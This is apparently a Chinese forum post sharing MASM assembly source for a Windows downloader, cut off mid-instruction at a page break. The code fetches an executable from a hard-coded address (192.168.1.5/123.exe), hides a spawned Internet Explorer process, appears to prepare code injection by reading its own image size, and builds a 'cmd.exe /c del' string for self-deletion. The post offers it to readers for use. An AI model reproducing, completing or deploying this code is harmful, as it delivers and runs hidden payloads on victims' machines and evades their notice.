好多兄弟都找我要这个,我就把源码帖在这里把
.386
.model flat,stdcall
option casemap:none

include windows.inc
include urlmon.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib urlmon.lib
includelib kernel32.lib

Download proto

.data
szUrlmon db "urlmon.dll",0
szURL db "http://192.168.1.5/123.exe",24 dup (0)
szFile db "c:\test.exe",39 dup (0)
szCmdline db "c:\program files\internet explorer\iexplore.exe",0
szAdd db '\cmd.exe /c del "',0
quote db '"',0

.data?
cbSize DWORD ?
cdWritten DWORD ?
pid DWORD ?
hProcess DWORD ?
hModule DWORD ?
hThread DWORD ?
startupinfo STARTUPINFO <?>
pi PROCESS_INFORMATION <>
SelfPath db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)

.code
start:
invoke GetModuleHandle,0
mov hModule,eax
mov edi,eax
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew
add edi,sizeof DWORD
assume edi:ptr IMAGE_FILE_HEADER
add edi,sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax,[edi].SizeOfImage
mov cbSize,eax
lea esi,offset startupinfo
assume esi:ptr STARTUPINFO
mov [esi].cb,sizeof STARTUPINFO
invoke GetStartupInfo,offset startupinfo
mov [esi].wShowWindow,SW_HIDE
mov [esi].dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
invoke createProcess,offset

[1] [2] 下一页